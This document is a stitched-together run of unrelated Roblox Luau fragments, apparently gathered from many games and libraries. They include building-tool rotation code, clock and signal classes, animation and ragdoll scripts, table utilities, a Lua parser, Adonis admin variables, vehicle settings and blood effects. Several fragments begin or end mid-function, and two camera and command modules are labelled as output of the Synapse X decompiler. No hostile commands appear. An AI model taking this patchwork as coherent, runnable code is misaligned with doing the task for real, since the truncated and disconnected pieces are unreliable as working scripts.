Part:MakeJoints(); Core.RestoreJoints(State.Joints); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end; function NudgeSelectionByAxis(Axis, Direction) -- Nudges the rotation of the selection in the direction of the given axis -- Ensure selection is not empty if #Selection.Parts == 0 then return; end; -- Get amount to nudge by local NudgeAmount = RotateTool.Increment; -- Reverse nudge amount if shift key is held while nudging local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode')); if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then NudgeAmount = -NudgeAmount; end; -- Track the change TrackChange(); -- Stop parts from moving, and capture the initial state of the parts local InitialState = PreparePartsForRotating(); -- Set the pivot point to the center of the selection if in Center mode if RotateTool.Pivot == 'Center' then local BoundingBoxSize, BoundingBoxCFrame = BoundingBox.CalculateExtents(Selection.Parts); PivotPoint = BoundingBoxCFrame; -- Set the pivot point to the center of the focused part if in Last mode elseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then if Selection.Focus:IsA 'BasePart' then PivotPoint = Selection.Focus.CFrame elseif Selection.Focus:IsA 'Model' then PivotPoint = Selection.Focus:GetModelCFrame() end end; -- Perform the rotation RotatePartsAroundPivot(RotateTool.Pivot, PivotPoint, Axis, NudgeAmount * (Direction or 1), InitialState); -- Update the "degrees rotated" indicator if RotateTool.UI then RotateTool.UI.Changes.Text.Text = 'rotated ' .. (NudgeAmount * (Direction or 1)) .. ' degrees'; end; -- Cache area permissions information local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); -- Make sure we're not entering any unauthorized private areas if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialState) do Part.CFrame = State.CFrame; end; end; -- Make joints, restore original anchor and collision states for Part, State in pairs(InitialState) do Part:MakeJoints(); Core.RestoreJoints(State.Joints); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); end; function TrackChange() -- Start the record HistoryRecord = { Parts = Support.CloneTable(Selection.Parts); BeforeCFrame = {}; AfterCFrame = {}; Selection = Selection.Items; Unapply = function (Record) -- Reverts this change -- Select the changed parts Selection.Replace(Record.Selection) -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, CFrame = Record.BeforeCFrame[Part] }); end; -- Send the change request Core.SyncAPI:Invoke('SyncRotate', Changes); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Selection) -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, CFrame = Record.AfterCFrame[Part] }); end; -- Send the change request Core.SyncAPI:Invoke('SyncRotate', Changes); end; }; -- Collect the selection's initial state for _, Part in pairs(HistoryRecord.Parts) do HistoryRecord.BeforeCFrame[Part] = Part.CFrame; end; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Collect the selection's final state local Changes = {}; for _, Part in pairs(HistoryRecord.Parts) do HistoryRecord.AfterCFrame[Part] = Part.CFrame; table.insert(Changes, { Part = Part, CFrame = Part.CFrame }); end; -- Send the change to the server Core.SyncAPI:Invoke('SyncRotate', Changes); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end; function PreparePartsForRotating() -- Prepares parts for rotating and returns the initial state of the parts local InitialState = {}; -- Get index of parts local PartIndex = Support.FlipTable(Selection.Parts); -- Stop parts from moving, and capture the initial state of the parts for _, Part in pairs(Selection.Parts) do InitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, CFrame = Part.CFrame }; Part.Anchored = true; Part.CanCollide = false; InitialState[Part].Joints = Core.PreserveJoints(Part, PartIndex); Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); end; return InitialState; end; function GetIncrementMultiple(Number, Increment) -- Get how far the actual distance is from a multiple of our increment local MultipleDifference = Number % Increment; -- Identify the closest lower and upper multiples of the increment local LowerMultiple = Number - MultipleDifference; local UpperMultiple = Number - MultipleDifference + Increment; -- Calculate to which of the two multiples we're closer local LowerMultipleProximity = math.abs(Number - LowerMultiple); local UpperMultipleProximity = math.abs(Number - UpperMultiple); -- Use the closest multiple of our increment as the distance moved if LowerMultipleProximity <= UpperMultipleProximity then Number = LowerMultiple; else Number = UpperMultiple; end; return Number; end;
-- If at 0, audio player will start right away because audio starts at 0 time position -- Open to alternatives
local startingTimePositionValue = 0 function Clock.new(timeId) local timePosition = Instance.new("NumberValue") -- Could this be slow, does that matter timePosition.Name = timeId timePosition.Parent = ReplicatedStorage local self = { initialTimePosition = startingTimePositionValue, initialClockTime = nil, timePosition = timePosition, timeKeepingConnection = nil, } setmetatable(self, Clock) return self end function Clock:getCurrentTime() return os.clock() end function Clock:_keepTrackOfTime() self:_stopTrackingTime() self.initialClockTime = self:getCurrentTime() self.timeKeepingConnection = self.RunService.Heartbeat:Connect(function() local differenceSinceCall = self:getCurrentTime() - self.initialClockTime self.timePosition.Value = differenceSinceCall + self.initialTimePosition end) return end function Clock:_stopTrackingTime() if self.timeKeepingConnection then self.timeKeepingConnection:Disconnect() self.timeKeepingConnection = nil end end function Clock:StartTime() -- TODO: use luke's coroutine wrap because of silencable errors coroutine.wrap(function() self:_keepTrackOfTime() end)() end function Clock:ResetTime() self:_stopTrackingTime() self.timePosition.Value = startingTimePositionValue self.initialTimePosition = startingTimePositionValue end function Clock:SetTime(timePositionValue) self:_stopTrackingTime() self.timePosition.Value = timePositionValue self.initialTimePosition = timePositionValue end return Clock
-- Connection class
local Connection = {} Connection.__index = Connection function Connection.new(signal, fn) return setmetatable({ Connected = true, _signal = signal, _fn = fn, _next = false, }, Connection) end function Connection:Disconnect() if not self.Connected then return end self.Connected = false -- Unhook the node, but DON'T clear it. That way any fire calls that are -- currently sitting on this node will be able to iterate forwards off of -- it, but any subsequent fire calls will not hit it, and it will be GCed -- when no more fire calls are sitting on it. if self._signal._handlerListHead == self then self._signal._handlerListHead = self._next else local prev = self._signal._handlerListHead while prev and prev._next ~= self do prev = prev._next end if prev then prev._next = self._next end end end Connection.Destroy = Connection.Disconnect
-- Making Spring Activate Ragdoll
Joint.RightLegSpring.Attachment1 = script.Parent.RightFoot.RightAnkleRigAttachment Joint.LeftLegSpring.Attachment1 = script.Parent.LeftFoot.LeftAnkleRigAttachment Joint.RightArmSpring.Attachment1 = script.Parent.RightHand.RightWristRigAttachment Joint.LeftArmSpring.Attachment1 = script.Parent.LeftHand.LeftWristRigAttachment Joint.RightLegSpring.Attachment0 = Joint.LeftLegAnimation.Attachment1 Joint.LeftLegSpring.Attachment0 = Joint.RightLegAnimation.Attachment1 Joint.RightArmSpring.Attachment0 = Joint.RightArmAnimation.Attachment1 Joint.LeftArmSpring.Attachment0 = Joint.LeftArmAnimation.Attachment1
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed>0 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then
--[=[ Loops through every single element, and puts it through a callback. If the callback returns true, the function returns true. ```lua local array = {1, 2, 3, 4, 5} local even = function(value) return value % 2 == 0 end print(TableKit.Some(array, even)) -- Prints true ``` @within TableKit @param tbl table @param callback (value) -> boolean @return boolean ]=]
function TableKit.Some(tbl: { [unknown]: unknown }, callback: (value: unknown) -> boolean): boolean for _, value in tbl do if callback(value) == true then return true end end return false end
------------------------------------------------------------------------ -- dump child function prototypes from function prototype ------------------------------------------------------------------------
function luaU:DumpFunction(f, p, D) local source = f.source if source == p or D.strip then source = nil end self:DumpString(source, D) self:DumpInt(f.lineDefined, D) self:DumpInt(f.lastlinedefined, D) self:DumpChar(f.nups, D) self:DumpChar(f.numparams, D) self:DumpChar(f.is_vararg, D) self:DumpChar(f.maxstacksize, D) self:DumpCode(f, D) self:DumpConstants(f, D) self:DumpDebug(f, D) end
--// Special Variables
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server local service = Vargs.Service local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings local function Init() Functions = server.Functions Admin = server.Admin Anti = server.Anti Core = server.Core HTTP = server.HTTP Logs = server.Logs Remote = server.Remote Process = server.Process Variables = server.Variables Settings = server.Settings Variables.BanMessage = Settings.BanMessage Variables.LockMessage = Settings.LockMessage for _, v in Settings.MusicList or {} do table.insert(Variables.MusicList, v) end for _, v in Settings.InsertList or {} do table.insert(Variables.InsertList, v) end for _, v in Settings.CapeList or {} do table.insert(Variables.Capes, v) end Variables.Init = nil Logs:AddLog("Script", "Variables Module Initialized") end local function AfterInit(data) server.Variables.CodeName = server.Functions:GetRandom() Variables.RunAfterInit = nil Logs:AddLog("Script", "Finished Variables AfterInit") end local Lighting = service.Lighting server.Variables = { Init = Init, RunAfterInit = AfterInit, ZaWarudo = false, CodeName = math.random(), IsStudio = service.RunService:IsStudio(), -- Used to check if Adonis is running inside Roblox Studio as things like TeleportService and DataStores (if API Access is disabled) do not work in Studio AuthorizedToReply = {}, FrozenObjects = {}, ScriptBuilder = {}, CachedDonors = {}, BanMessage = "Banned", LockMessage = "Not Whitelisted", DonorPass = {1348327, 1990427, 1911740, 167686, 98593, "6878510605", 5212082, 5212081}, --// Strings are items; numbers are gamepasses WebPanel_Initiated = false, LightingSettings = { Ambient = Lighting.Ambient, OutdoorAmbient = Lighting.OutdoorAmbient, Brightness = Lighting.Brightness, TimeOfDay = Lighting.TimeOfDay, FogColor = Lighting.FogColor, FogEnd = Lighting.FogEnd, FogStart = Lighting.FogStart, GlobalShadows = Lighting.GlobalShadows, Outlines = Lighting.Outlines, ShadowColor = Lighting.ShadowColor, ColorShift_Bottom = Lighting.ColorShift_Bottom, ColorShift_Top = Lighting.ColorShift_Top, GeographicLatitude = Lighting.GeographicLatitude, Name = Lighting.Name, }, OriginalLightingSettings = { Ambient = Lighting.Ambient, OutdoorAmbient = Lighting.OutdoorAmbient, Brightness = Lighting.Brightness, TimeOfDay = Lighting.TimeOfDay, FogColor = Lighting.FogColor, FogEnd = Lighting.FogEnd, FogStart = Lighting.FogStart, GlobalShadows = Lighting.GlobalShadows, Outlines = Lighting.Outlines, ShadowColor = Lighting.ShadowColor, ColorShift_Bottom = Lighting.ColorShift_Bottom, ColorShift_Top = Lighting.ColorShift_Top, GeographicLatitude = Lighting.GeographicLatitude, Name = Lighting.Name, Sky = Lighting:FindFirstChildOfClass("Sky") and Lighting:FindFirstChildOfClass("Sky"):Clone(), }, PMtickets = {}; HelpRequests = {}; Objects = {}; InsertedObjects = {}; CommandLoops = {}; SavedTools = {}; Waypoints = {}; Cameras = {}; Jails = {}; LocalEffects = {}; SizedCharacters = {}; BundleCache = {}; TrackingTable = {}; DisguiseBindings = {}; IncognitoPlayers = {}; MusicList = { {Name = "crabrave", ID = 5410086218}, {Name = "shiawase", ID = 5409360995}, {Name = "unchartedwaters", ID = 7028907200}, {Name = "glow", ID = 7028856935}, {Name = "good4me", ID = 7029051434}, {Name = "bloom", ID = 7029024726}, {Name = "safe&sound", ID = 7024233823}, {Name = "shaku", ID = 7024332460}, {Name = "fromdust&ashes", ID = 7024254685}, {Name = "loveis", ID = 7029092469}, {Name = "playitcool", ID = 7029017448}, {Name = "still", ID = 7023771708}, {Name = "sleep", ID = 7023407320}, {Name = "whatareyouwaitingfor", ID = 7028977687}, {Name = "balace", ID = 7024183256}, {Name = "brokenglass", ID = 7028799370}, {Name = "thelanguageofangels", ID = 7029031068}, {Name = "imprints", ID = 7023704173}, {Name = "foundareason", ID = 7028919492}, {Name = "newhorizons", ID = 7028518546}, {Name = "whatsitlike", ID = 7028997537}, {Name = "destroyme", ID = 7023617400}, {Name = "consellations", ID = 7023733671}, {Name = "wish", ID = 7023670701}, {Name = "samemistake", ID = 7024101188}, {Name = "whereibelong", ID = 7028527348}, }; InsertList = {}; Capes = { {Name = "crossota", Material = "Neon", Color = "Cyan", ID = 420260457}, {Name = "jamiejr99", Material = "Neon", Color = "Cashmere", ID = 429297485}, {Name = "new yeller", Material = "Fabric", Color = "New Yeller"}, {Name = "pastel blue", Material = "Fabric", Color = "Pastel Blue"}, {Name = "dusty rose", Material = "Fabric", Color = "Dusty Rose"}, {Name = "cga brown", Material = "Fabric", Color = "CGA brown"}, {Name = "random", Material = "Fabric", Color = (BrickColor.random()).Name}, {Name = "shiny", Material = "Plastic", Color = "Institutional white", Reflectance = 1}, {Name = "gold", Material = "Plastic", Color = "Bright yellow", Reflectance = 0.4}, {Name = "kohl", Material = "Fabric", Color = "Really black", ID = 108597653}, {Name = "script", Material = "Plastic", Color = "White", ID = 151359194}, {Name = "batman", Material = "Fabric", Color = "Institutional white", ID = 108597669}, {Name = "epix", Material = "Plastic", Color = "Really black", ID = 149442745}, {Name = "superman", Material = "Fabric", Color = "Bright blue", ID = 108597677}, {Name = "swag", Material = "Fabric", Color = "Pink", ID = 109301474}, {Name = "donor", Material = "Plastic", Color = "White", ID = 149009184}, {Name = "gomodern", Material = "Plastic", Color = "Really black", ID = 149438175}, {Name = "admin", Material = "Plastic", Color = "White", ID = 149092195}, {Name = "giovannis", Material = "Plastic", Color = "White", ID = 149808729}, {Name = "godofdonuts", Material = "Plastic", Color = "Institutional white", ID = 151034443}, {Name = "host", Material = "Plastic", Color = "Really black", ID = 152299000}, {Name = "cohost", Material = "Plastic", Color = "Really black", ID = 152298950}, {Name = "trainer", Material = "Plastic", Color = "Really black", ID = 152298976}, {Name = "ba", Material = "Plastic", Color = "White", ID = 172528001} }; Blacklist = { Enabled = (server.Settings.BlacklistEnabled ~= nil and server.Settings.BlacklistEnabled) or true, Lists = { Settings = server.Settings.Blacklist }, }; Whitelist = { Enabled = server.Settings.WhitelistEnabled, Lists = { Settings = server.Settings.Whitelist }, }; } end
-- Speed is adjusted so that the height of jumps is preserved -- So maxSpeed is scaled proportionally to the sqrt of gravity
local maxSpeed = 200 * math.sqrt( gravityChange ) local torque = 50000 * gravityChange
-- Decompiled with the Synapse X Luau decompiler.
return { Name = "run-lines", Aliases = {}, Description = "Splits input by newlines and runs each line as its own command. This is used by the init-run command.", Group = "DefaultUtil", Args = { { Type = "string", Name = "Script", Description = "The script to parse.", Default = "" } }, Run = function(p1, p2) if #p2 == 0 then return ""; end; local v1 = p1.Dispatcher:Run("var", "INIT_PRINT_OUTPUT") ~= ""; local v2, v3, v4 = ipairs((p2:gsub("\n+", "\n"):split("\n"))); while true do v2(v3, v4); if not v2 then break; end; v4 = v2; if v3:sub(1, 1) ~= "#" then local v5 = p1.Dispatcher:EvaluateAndRun(v3); if v1 then p1:Reply(v5); end; end; end; return ""; end };
--[[ LegacyCamera - Implements legacy controller types: Attach, Fixed, Watch 2018 Camera Update - AllYourBlox --]]
--[[ Formats a multi-line message with printf-style placeholders. ]]
local function formatMessage(lines, parameters) return table.concat(lines, "\n"):format(unpack(parameters or {})) end local function noop() return nil end
-------------------- --| Script Logic |-- --------------------
Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped)
--[=[ @within TableUtil @function Zip @param ... table @return (iter: (t: table, k: any) -> (key: any?, values: table?), tbl: table, startIndex: any?) Returns an iterator that can scan through multiple tables at the same time side-by-side, matching against shared keys/indices. ```lua local t1 = {10, 20, 30, 40, 50} local t2 = {60, 70, 80, 90, 100} for key,values in TableUtil.Zip(t1, t2) do print(key, values) end --[[ Outputs: 1 {10, 60} 2 {20, 70} 3 {30, 80} 4 {40, 90} 5 {50, 100} --]] ``` ]=]
local function Zip(...): (IteratorFunc, Table, any) assert(select("#", ...) > 0, "Must supply at least 1 table") local function ZipIteratorArray(all: Table, k: number): (number?, {any}?) k += 1 local values = {} for i,t in ipairs(all) do local v = t[k] if v ~= nil then values[i] = v else return nil, nil end end return k, values end local function ZipIteratorMap(all: Table, k: any): (number?, {any}?) local values = {} for i,t in ipairs(all) do local v = next(t, k) if v ~= nil then values[i] = v else return nil, nil end end return k, values end local all = {...} if #all[1] > 0 then return ZipIteratorArray, all, 0 else return ZipIteratorMap, all, nil end end
--//Transmission//--
AmountOfGears = 8 --{Max of 8 gears} TransmissionType = "Automatic" --{HPattern, Automatic, DualClutch, CVT} Drivetrain = "AWD" --{RWD, FWD, AWD} TorqueSplit = 70 --{Split to the rear wheels} DifferentialF = 0 --{0 = Open, 1 = locked} DifferentialR = 0.6 --{0 = Open, 1 = locked} Gear1 = 4.60 Gear2 = 2.72 Gear3 = 1.86 Gear4 = 1.46 Gear5 = 1.23 Gear6 = 1.00 Gear7 = 0.82 Gear8 = 0.69 FinalDrive = 2.937 EngineIdle = 600 EngineRedline = 6800
-- This script makes everytime a player dies, blood will come out --
function died() local human = script.Parent:FindFirstChild("Humanoid") if (human.Health == 0) then for i = 1,50 do local torso = script.Parent:FindFirstChild("Torso") if torso ~= nil then local blood = Instance.new("Part") blood.BrickColor = BrickColor.new("Crimson") blood.Transparency = 1 blood.Size = Vector3.new(1, 0.4, 1) blood.Position = torso.Position blood.Name = "Blood" blood.Reflectance = 0.1 blood.Material = "SmoothPlastic" blood.BottomSurface = "Smooth" blood.TopSurface = "Smooth" blood.Parent = game.Workspace local billboard = script.BillboardGui:clone() billboard.Parent = blood local gui = script.BloodGui:clone() gui.Parent = billboard game:GetService("Debris"):AddItem(blood, 12) end end end end script.Parent.Humanoid.Died:connect(died)
-----------------------------------------------------------------------------------------------------------------
function onKeyDown(key) if (key~=nil) then key = key:lower() if (key=="e") then -- Toggle Patrol if Holstered == true then script.Parent.Parent.Humanoid.WalkSpeed = 16 GunUp() elseif Holstered == false then script.Parent.Parent.Humanoid.WalkSpeed = 20 GunDown() end end end end Tool.Equipped:connect(onEquippedLocal)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = math.rad(80); local v2 = math.rad(0); local v3 = require(script.Parent:WaitForChild("BaseCamera")); local v4 = require(script.Parent:WaitForChild("CameraInput")); local v5 = require(script.Parent:WaitForChild("CameraUtils")); local v6 = require(script.Parent:WaitForChild("ZoomController")); local v7 = require(script:WaitForChild("VehicleCameraCore")); local v8 = require(script:WaitForChild("VehicleCameraConfig")); local l__LocalPlayer__9 = game:GetService("Players").LocalPlayer; local l__map__10 = v5.map; local u1 = 0.016666666666666666; game:GetService("RunService").Stepped:Connect(function(p1, p2) u1 = p2; end); local v11 = setmetatable({}, v3); v11.__index = v11; function v11.new() local v12 = setmetatable(v3.new(), v11); v12:Reset(); return v12; end; local l__Spring__2 = v5.Spring; function v11.Reset(p3) p3.vehicleCameraCore = v7.new(p3:GetSubjectCFrame()); p3.pitchSpring = l__Spring__2.new(0, -math.rad(v8.pitchBaseAngle)); p3.yawSpring = l__Spring__2.new(0, v2); p3.lastPanTick = 0; local l__CurrentCamera__13 = workspace.CurrentCamera; local v14 = l__CurrentCamera__13 and l__CurrentCamera__13.CameraSubject; assert(l__CurrentCamera__13); assert(v14); assert(v14:IsA("VehicleSeat")); local v15, v16 = v5.getLooseBoundingSphere((v14:GetConnectedParts(true))); p3.assemblyRadius = math.max(v16, 0.001); p3.assemblyOffset = v14.CFrame:Inverse() * v15; p3:_StepInitialZoom(); end; function v11._StepInitialZoom(p4) p4:SetCameraToSubjectDistance(math.max(v6.GetZoomRadius(), p4.assemblyRadius * v8.initialZoomRadiusMul)); end; local l__sanitizeAngle__3 = v5.sanitizeAngle; local l__mapClamp__4 = v5.mapClamp; function v11._StepRotation(p5, p6, p7) local l__yawSpring__17 = p5.yawSpring; local l__pitchSpring__18 = p5.pitchSpring; local v19 = v4.getRotation(true); l__yawSpring__17.pos = l__sanitizeAngle__3(l__yawSpring__17.pos + -v19.X); l__pitchSpring__18.pos = l__sanitizeAngle__3(math.clamp(l__pitchSpring__18.pos + -v19.Y, -v1, v1)); if v4.getRotationActivated() then p5.lastPanTick = os.clock(); end; local v20 = -math.rad(v8.pitchBaseAngle); local v21 = math.rad(v8.pitchDeadzoneAngle); if v8.autocorrectDelay < os.clock() - p5.lastPanTick then local v22 = l__mapClamp__4(p7, v8.autocorrectMinCarSpeed, v8.autocorrectMaxCarSpeed, 0, v8.autocorrectResponse); l__yawSpring__17.freq = v22; l__pitchSpring__18.freq = v22; if l__yawSpring__17.freq < 0.001 then l__yawSpring__17.vel = 0; end; if l__pitchSpring__18.freq < 0.001 then l__pitchSpring__18.vel = 0; end; if math.abs(l__sanitizeAngle__3(v20 - l__pitchSpring__18.pos)) <= v21 then l__pitchSpring__18.goal = l__pitchSpring__18.pos; else l__pitchSpring__18.goal = v20; end; else l__yawSpring__17.freq = 0; l__yawSpring__17.vel = 0; l__pitchSpring__18.freq = 0; l__pitchSpring__18.vel = 0; l__pitchSpring__18.goal = v20; end; return CFrame.fromEulerAnglesYXZ(l__pitchSpring__18:step(p6), l__yawSpring__17:step(p6), 0); end; function v11._GetThirdPersonLocalOffset(p8) return p8.assemblyOffset + Vector3.new(0, p8.assemblyRadius * v8.verticalCenterOffset, 0); end; function v11._GetFirstPersonLocalOffset(p9, p10) local l__Character__23 = l__LocalPlayer__9.Character; if l__Character__23 and l__Character__23.Parent then local l__Head__24 = l__Character__23:FindFirstChild("Head"); if l__Head__24 and l__Head__24:IsA("BasePart") then return p10:Inverse() * l__Head__24.Position; end; end; return p9:_GetThirdPersonLocalOffset(); end; local function u5(p11, p12) return math.abs(p12.YVector:Dot(p11)); end; local function u6(p13, p14) return math.abs(p14.XVector:Dot(p13)); end; function v11.Update(p15) local l__CurrentCamera__25 = workspace.CurrentCamera; local v26 = l__CurrentCamera__25 and l__CurrentCamera__25.CameraSubject; local l__vehicleCameraCore__27 = p15.vehicleCameraCore; assert(l__CurrentCamera__25); assert(v26); assert(v26:IsA("VehicleSeat")); u1 = 0; local v28 = p15:GetSubjectCFrame(); local v29 = p15:GetSubjectRotVelocity(); local v30 = u5(v29, v28); local v31 = u6(v29, v28); local v32 = p15:StepZoom(); local v33 = p15:_StepRotation(u1, (math.abs(p15:GetSubjectVelocity():Dot(v28.ZVector)))); local v34 = l__mapClamp__4(v32, 0.5, p15.assemblyRadius, 1, 0); local v35 = p15:_GetThirdPersonLocalOffset():Lerp(p15:_GetFirstPersonLocalOffset(v28), v34); l__vehicleCameraCore__27:setTransform(v28); local v36 = CFrame.new(v28 * v35) * l__vehicleCameraCore__27:step(u1, v31, v30, v34) * v33; return v36 * CFrame.new(0, 0, v32), v36; end; function v11.ApplyVRTransform(p16) end; function v11.EnterFirstPerson(p17) p17.inFirstPerson = true; p17:UpdateMouseBehavior(); end; function v11.LeaveFirstPerson(p18) p18.inFirstPerson = false; p18:UpdateMouseBehavior(); end; return v11;
-- Variables
local poolSizeMultiplier = getSetting("Pool size multiplier") or 1 playerService.PlayerAdded:Connect(function (plr) if not workspace:FindFirstChild("Blood") then folder = Instance.new("Folder", workspace) folder.Name = "Blood" end local charFolder = Instance.new("Folder", folder) charFolder.Name = plr.Name plr.CharacterAdded:Connect(function (char) local humanoid = char:WaitForChild("Humanoid") humanoid.Died:Connect(function () pcall(function () local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") or nil local root = char:FindFirstChild("HumanoidRootPart") or nil local base local function bloodPool (part, limbCenter) local pool = Instance.new("Part", charFolder) pool.CanCollide = false pool.BrickColor = BrickColor.new("Crimson") pool.Material = Enum.Material.Glass pool.Transparency = .2 pool.CastShadow = false pool.Shape = "Cylinder" pool.Anchored = true pool.Size = Vector3.new(.1, 0, 0) pool.CFrame = part.CFrame if limbCenter then pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y - (base.Size.Y / 2) + math.random(0, .2), torso.Position.Z + math.random(-4, 4)) else pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y + (base.Size.Y / 2), torso.Position.Z + math.random(-4, 4)) end pool.Orientation = Vector3.new(0, 0, 90) tweenService:Create(pool, TweenInfo.new(math.random(.4, 4), Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Size = Vector3.new(.1, math.random(3, 7) * poolSizeMultiplier, math.random(3, 7) *poolSizeMultiplier)}):Play() debris:AddItem(pool, 9) end if char.Humanoid.RigType == Enum.HumanoidRigType.R6 then wait(.2) if not char:FindFirstChild("Head") and workspace:FindFirstChild(plr.Name .. "-2") then char = workspace[plr.Name .. "-2"] end end repeat wait() until math.floor(torso.Velocity.Magnitude) == 0 local baseBlacklist = char:GetChildren() pcall(function () for _,plr in pairs(game:GetService("Players"):GetPlayers()) do if plr.Character then for _,v in pairs(plr.Character:GetChildren()) do if v:IsA("BasePart") then table.insert(baseBlacklist, v) elseif v:IsA("Accoutrement") then table.insert(baseBlacklist, v:FindFirstChildWhichIsA("BasePart")) elseif v:IsA("Tool") and v:FindFirstChild("Handle") then table.insert(baseBlacklist, v.Handle) end end end if workspace:FindFirstChild(plr.Name .. "-2") then for _,p in pairs(workspace[plr.Name .. "-2"]:GetChildren()) do if p:IsA("BasePart") then table.insert(baseBlacklist, p) elseif p:IsA("Accoutrement") then table.insert(baseBlacklist, p:FindFirstChildWhichIsA("BasePart")) end end end end end) if type(baseBlacklist) == "table" then local limbCenter = false base = workspace:FindPartsInRegion3WithIgnoreList(Region3.new(torso.Position - torso.Size * 2, torso.Position + torso.Size * 2), baseBlacklist, 1)[1] if not base then if char:FindFirstChild("Left Leg") then base = char["Left Leg"] limbCenter = true elseif char:FindFirstChild("LeftFoot") then base = char["LeftFoot"] limbCenter = true end end if base then for _,limb in pairs(char:GetChildren()) do if limb:IsA("BasePart") and limb.Name ~= "HumanoidRootPart" then bloodPool(limb, limbCenter) end end end end end) end) end) end) playerService.PlayerRemoving:Connect(function (plr) if folder:FindFirstChild(plr.Name) then folder[plr.Name]:Destroy() end end)
--[=[ @class Trove A Trove is helpful for tracking any sort of object during runtime that needs to get cleaned up at some point. ]=]
local Trove = {} Trove.__index = Trove
--!nonstrict --[[ TransparencyController - Manages transparency of player character at close camera-to-subject distances 2018 Camera Update - AllYourBlox --]]
local MAX_TWEEN_RATE = 2.8 -- per second local Util = require(script.Parent:WaitForChild("CameraUtils"))
------------------------------------------------------------------------ -- parse the parameters of a function call -- * contrast with parlist(), used in function declarations -- * used in primaryexp() ------------------------------------------------------------------------
function luaY:funcargs(ls, f) local fs = ls.fs local args = {} -- expdesc local nparams local line = ls.linenumber local c = ls.t.token if c == "(" then -- funcargs -> '(' [ explist1 ] ')' if line ~= ls.lastline then luaX:syntaxerror(ls, "ambiguous syntax (function call x new statement)") end luaX:next(ls) if ls.t.token == ")" then -- arg list is empty? args.k = "VVOID" else self:explist1(ls, args) luaK:setmultret(fs, args) end self:check_match(ls, ")", "(", line) elseif c == "{" then -- funcargs -> constructor self:constructor(ls, args) elseif c == "TK_STRING" then -- funcargs -> STRING self:codestring(ls, args, ls.t.seminfo) luaX:next(ls) -- must use 'seminfo' before 'next' else luaX:syntaxerror(ls, "function arguments expected") return end assert(f.k == "VNONRELOC") local base = f.info -- base register for call if self:hasmultret(args.k) then nparams = self.LUA_MULTRET -- open call else if args.k ~= "VVOID" then luaK:exp2nextreg(fs, args) -- close last argument end nparams = fs.freereg - (base + 1) end self:init_exp(f, "VCALL", luaK:codeABC(fs, "OP_CALL", base, nparams + 1, 2)) luaK:fixline(fs, line) fs.freereg = base + 1 -- call remove function and arguments and leaves -- (unless changed) one result end
-- ==================== -- SNIPER -- Enable user to use scope -- ====================
SniperEnabled = true; FieldOfView = 12.5; MouseSensitive = 0.05; --In percent SpreadRedution = 1; --In percent.
---- Place specific settings ----
_placeOverrides[_places.lobby] = { stages = _roleStages.Lobby, default_game_mode = 'DEATHMATCH', -- HACK: Skip the PlayerMatchInfo waiting for configuration override. override = true, } _placeOverrides[_places.queue_default] = { stages = _roleStages.Queue, default_game_mode = 'DEFAULT', } _placeOverrides[_places.queue_deathmatch] = { stages = _roleStages.Queue, default_game_mode = 'DEATHMATCH', } _placeOverrides[_places.queue_teamDeathmatch] = { stages = _roleStages.Queue, default_game_mode = 'TEAM_DEATHMATCH', } _placeOverrides[_places.queue_freePlay] = { stages = _roleStages.Queue, disable_queue = true, } _placeOverrides[_places.gameplay_development] = { stages = _roleStages.Gameplay, }
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
local sdb = false local decendents = {} function playSound(v) if not sdb then sdb = true decendents = {} local children = v:GetChildren() for i = 1,#children, 1 do if children[i]:IsA'Sound' then table.insert(decendents, children[i]) end wait() end local soundClone = decendents[math.random(1, #decendents)]:Clone() nameobj = soundClone.Name soundClone.Parent = head soundClone.Name = "Voice" soundplaying = soundClone soundClone:Play() sdb = true return soundClone end end function removeSound() for _, v in pairs(head:GetChildren())do if v:IsA'Sound' then soundplaying = nil nameobj = nil sdb = false v:remove() end end end
